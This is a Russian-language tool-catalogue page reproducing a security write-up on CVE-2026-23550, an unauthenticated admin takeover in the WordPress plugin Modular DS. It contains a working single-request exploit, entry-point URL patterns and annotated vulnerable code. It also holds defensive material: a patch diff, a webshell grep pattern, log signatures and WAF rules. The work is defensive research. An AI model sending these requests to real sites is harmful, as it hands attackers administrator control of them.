Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-23550 — Анализ первопричины, PoC и рекомендации по обнаружению для CVE-2026-23550 — критической уязвимости неаутентифицированного захвата сессии администратора в плагине WordPress Modular DS. | Kitploit
Инструменты/GitHubGitHub/1beelze/cve-2026-23550
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHub1beelze/cve-2026-23550

CVE-2026-23550

Анализ первопричины, PoC и рекомендации по обнаружению для CVE-2026-23550 — критической уязвимости неаутентифицированного захвата сессии администратора в плагине WordPress Modular DS.

Репозиторий
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
root@kitploit:~
   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗    ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝    ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
  ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗     █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
  ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗    ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
  ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝    ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
   ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝     ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝

CVE-2026-23550

Modular DS · Неавторизованный захват сессии администратора

CVSS Type Auth Vector Status Patched

Анализ первопричины · Разбор исходного кода · Сравнение патчей · Образовательный PoC

Автор: Beelze ( zeroday 1diot9 )


📌 TL;DR

Modular DS (modular-connector) — это плагин для управления сайтами WordPress с 40 000+ активными установками. Версии ≤ 2.5.1 содержат цепочку из пяти накладывающихся дефектов, которые позволяют любому неавторизованному злоумышленнику обойти аутентификацию, вызвать внутреннюю конечную точку входа плагина и получить cookie сессии wordpress_logged_in_* для первой учётной записи администратора — с помощью одного HTTP GET-запроса.

root@kitploit:~
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld

→  HTTP/1.1 302 Found
   Location: /wp-admin/index.php
   Set-Cookie: wordpress_logged_in_<hash>=...

Результат: полный захват администратора. Злоумышленник может устанавливать вредоносные плагины, размещать веб-шеллы, создавать резервные учётные записи администраторов, извлекать базу данных.


📖 Содержание

  • Затронутые версии
  • Вектор атаки
  • Анализ первопричины
  • Разбор исходного кода
  • Сравнение патчей (2.5.1 → 2.5.2)
  • Proof of Concept
  • Обнаружение и устранение
  • Временная шкала
  • Ссылки
  • Отказ от ответственности

🎯 Затронутые версии


🎯 Вектор атаки

Уязвимость активирует встроенный роутер, производный от Laravel, встроенный в плагин. Плагин поставляется со своим собственным HTTP-ядром (Ares/Framework), которое подключается к действию WordPress parse_request, чтобы перехватывать запросы до того, как собственный роутинг WordPress вступит в силу.

Предварительные условия: отсутствуют (плагин установлен и активен, подключён к Modular SaaS — по умолчанию для всех живых установок).

Точки входа (достаточно любой одной):

root@kitploit:~
/api/modular-connector/login/<любой>?origin=mo&type=<любой>
/?rest_route=/api/modular-connector/login/<любой>&origin=mo&type=<любой>
/index.php?rest_route=/api/modular-connector/login/<любой>&origin=mo&type=<любой>
/wp-load.php?origin=mo&type=<любой>

🚩 Анализ первопричины

Уязвимость — не единый изъян, а цепочка из пяти накладывающихся дефектов. Каждый уровень, рассматриваемый изолированно, может показаться защищённым; вместе они рушатся в захват администратора без аутентификации.

root@kitploit:~
flowchart TB
    A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
    B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
    C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
    D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
    E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
    F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]

    style A fill:#ff4444,stroke:#000,color:#fff
    style G fill:#00cc44,stroke:#000,color:#fff
    style B fill:#ff8888,stroke:#000
    style C fill:#ffaa66,stroke:#000
    style D fill:#ffcc44,stroke:#000
    style E fill:#ff8888,stroke:#000
    style F fill:#ff4444,stroke:#000,color:#fff

📋 Сводка дефектов


🔬 Разбор исходного кода

① Шлюз загрузки — HttpUtils::isDirectRequest()

Файл: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64

root@kitploit:~
public static function isDirectRequest(): bool
{
    $request = app('request');
    $userAgent = $request->header('User-Agent');
    $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
    $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
    $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');

    if ($isFromQuery) {
        return true;   // ⚠️ только параметр запроса, без подписи
    }
    return false;
}

Проблема: Режим «прямого запроса», предназначенный для идентификации легитимных вызовов от бэкенда Modular SaaS, защищён только текстовыми параметрами запроса без HMAC, JWT, подписанного nonce или IP-белого списка. Любой злоумышленник может включить этот переключатель.

② Неявное разрешение URL→Маршрут — Router::findRoute()

Файл: vendor/ares/framework/src/Foundation/Routing/Router.php:20

root@kitploit:~
protected function findRoute($request)
{
    $this->current = $route = apply_filters(
        'ares/routes/match',
        $this->routes->match($request),   // ⚠️ URL преобразуется в маршрут ДО запуска фильтра
        true
    );
    $route->setContainer($this->container);
    $this->container->instance(Route::class, $route);
    return $route;
}

Проблема: routes->match($request) Laravel преобразует /api/modular-connector/login/xxx в маршрут login (защищённый аутентификацией) до того, как запустится фильтр безопасности. Фильтр получает этот маршрут на вход, что возлагает на него бремя доказывания неправомерности маршрута, а не явного разрешения.

③ Прохождение фильтра — bindOldRoutes()

Файл: src/app/Providers/RouteServiceProvider.php:46

root@kitploit:~
public function bindOldRoutes($route, $removeQuery = false)
{
    if (!HttpUtils::isDirectRequest()) return $route;

    $request = request();
    $type = $request->header('x-mo-type', $request->get('type'));

    if ($type === 'request') { /* перепривязка через подписанный OAuth-вызов */ }
    if ($type === 'oauth')   { /* перепривязка к обработчику /oauth */ }
    if ($type === 'lb')      { /* перепривязка к /schedule/run */ }

    return $route;   // ⚠️ Неизвестный type → маршрут из URL остаётся как есть
}

Проблема: Фильтр переопределяет маршрут только когда type равен одному из трёх известных значений. Когда type произвольный (x, foo, пустой), он проскальзывает и возвращает маршрут, полученный из URL, без изменений. Маршрут login, полученный из URL (который на бумаге был защищён аутентификацией), переходит к обработке промежуточным программным обеспечением.

④ Сломанный охранник — ModularGuard::check()

Файл: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16

root@kitploit:~
public function check()
{
    return !is_null($this->user());
}

public function user()
{
    $client = OauthClient::getClient();
    try {
        $client->validateOrRenewAccessToken();   // ⚠️ проверяет состояние СЕРВЕРА
        $this->user = ['id' => $client->getClientId()];
    } catch (\Throwable $e) {
        return null;
    }
    return $this->user;
}

Проблема: Пользовательский охранник modular выполняет нулевую проверку личности входящего запроса. Он только подтверждает, что сам плагин всё ещё имеет действующую OAuth-сессию с Modular SaaS. Поскольку практически каждая установка подключена (иначе плагин бесполезен), охранник возвращает true для любого запроса, который до него доходит.

Это ключевой дефект. Даже если бы дефекты ①–③ были исправлены, один только этот сломанный охранник всё равно разрешал бы несанкционированный доступ к каждому маршруту в группе промежуточного ПО auth.

⑤ Откат к администратору — AuthController::getLogin()

Файл: src/app/Http/Controllers/AuthController.php:66

root@kitploit:~
public function getLogin(SiteRequest $modularRequest)
{
    $user = data_get($modularRequest->body, 'id');   // null — привязка никогда не заполняется

    if (!empty($user)) {
        $user = get_user_by('id', $user);
    }

    if (empty($user)) {
        Cache::driver('wordpress')->forget('user.login');
        $user = ServerSetup::getAdminUser();   // 💣 первый администратор на сайте
    }

    $cookies = ServerSetup::loginAs($user, true);   // 💣 выдаёт cookie сессии WP
    return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}

Проблема: Привязка модели маршрута SiteRequest заполняется только когда type === 'request' в цепочке фильтров. Для неизвестного type $modularRequest достигает контроллера как пустой объект. Контроллер затем тихо откатывается к первой учётной записи администратора и выдаёт ей cookie входа WordPress. Любой может войти через парадную дверь.


🩹 Сравнение патчей (2.5.1 → 2.5.2)

root@kitploit:~
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);

━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
-     if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+     $routes = app('router')->getRoutes();
+     $route = $routes->getByName('default');   // 👈 всегда начинать с маршрута 404
+     $route->bind(request());
+     if (!HttpUtils::isDirectRequest()) return $route;

━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+     abort(404);
+ })->name('default');

🔑 Философия патча

Исправление полностью устраняет неявное разрешение URL→маршрут. Теперь фильтр начинается с маршрута default, жёстко привязанного к abort(404), и перепривязывается к реальному контроллеру только когда type является одним из трёх явно разрешённых значений. С новой логикой type=x приводит к 404 — запрос никогда не достигает контроллера входа, и сломанному охраннику нечего обходить.

Это защита в глубину, применённая задним числом: даже если ModularGuard::check() структурно остаётся слабым, цепочка достижимости до него теперь закрыта для маршрутов, защищённых аутентификацией.


🛠️ Proof of Concept


🛡️ Обнаружение и устранение

Немедленно

  • Обновитесь до modular-connector >= 2.5.2 — без вариантов.
  • Если обновление заблокировано, полностью деактивируйте плагин. Нет конфигурационных обходных путей.

Оценка компрометации

После обновления считайте сайт скомпрометированным, если плагин был ≤ 2.5.1 и доступен из интернета с 2026-01-13. Проверьте:

root@kitploit:~
# 1. Неавторизованные учётные записи администраторов
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# 2. Подозрительные установки плагинов после 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13

# 3. Недавно изменённые основные файлы
find wp-includes/ wp-admin/ -type f -mtime -30

# 4. Веб-шеллы (типичные полезные нагрузки, загружаемые после эксплуатации)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/

Сигнатуры веб-сервера (логи Apache / Nginx)

root@kitploit:~
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo

Правило WAF / ModSecurity (временное смягчение)

root@kitploit:~
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
  "id:2026023550,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 попытка эксплуатации (Modular DS)'"

SecRule ARGS:origin "@streq mo" \
  "chain,id:2026023551,phase:1,deny,status:403,log,\
   msg:'CVE-2026-23550 попытка обхода прямого запроса'"
  SecRule ARGS:type "@rx .+"

📅 Временная шкала


📚 Ссылки

  • Patchstack Advisory
  • The Hacker News — Critical WordPress Modular DS
  • BleepingComputer — Active Exploitation Report
  • Security Affairs — Admin Takeover Analysis
  • eSecurity Planet — 40K Installs at Risk
  • Rescana — Incident Response Notes
  • WordPress Plugin Repository — modular-connector

👤 Автор

Beelze · zeroday 1diot9

Ведущий исследователь CVE · Аналитик уязвимостей · Разработчик PoC


⚖️ Отказ от ответственности

Этот репозиторий опубликован строго в образовательных и защитных исследовательских целях.

Уязвимость публично раскрыта (CVE-2026-23550), исправлена разработчиком (modular-connector 2.5.2) и подробно описана в мейнстримных источниках безопасности. Этот разбор существует, чтобы помочь защитникам понять первопричину, разработчикам извлечь уроки из реального провала проектирования аутентификации, а исследователям изучить шаблон цепочки дефектов.

Не запускайте приложенные скрипты PoC против систем, которыми вы не владеете или не имеете явного письменного разрешения на тестирование. Несанкционированный доступ к компьютерным системам незаконен практически в каждой юрисдикции (CFAA · Computer Misuse Act · ITE Law и т.д.).

Автор не несёт ответственности за неправомерное использование. Если вы не уверены, разрешён ли ваш вариант использования, значит, он не разрешён.


Сделано с 🎯 для сообщества исследователей безопасности.

⭐ Поставьте звёздочку этому репозиторию, если он помог вам чему-то научиться.

Скачать инструмент
ПолеЗначение
Название плагинаModular DS
Slugmodular-connector
Уязвимые<= 2.5.1
Исправлено в2.5.2
Активные установки~40 000
CVSS v3.110.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-287 · CWE-306 · CWE-863
OWASPA07 — Identification and Authentication Failures
#УровеньФайлОсновная проблема
①Шлюз загрузкиHttpUtils.php:64Проверка origin=mo только по параметрам запроса без криптографии/nonce
②Сопоставитель URL→маршрутRouter.php:20Неявное разрешение URL передаётся прямо в фильтр
③Фильтр переопределения маршрутаRouteServiceProvider.php:46Неизвестный type проскальзывает с исходным маршрутом
④Охранник аутентификацииModularGuard.php:16Проверяет серверное состояние OAuth, а не личность запроса
⑤Контроллер входаAuthController.php:66Тихий откат к getAdminUser() при отсутствии входных данных
ДатаСобытие
2026-01-XXРазработчик выпускает 2.5.2 с тихим исправлением безопасности
2026-01-13 ~02:00 UTCПервое наблюдение эксплуатации в дикой природе
2026-01-13Patchstack публикует рекомендацию · CVE-2026-23550 присвоен
2026-01-14Освещение на The Hacker News, BleepingComputer, Security Affairs
2026-07-05Публикация этого образовательного разбора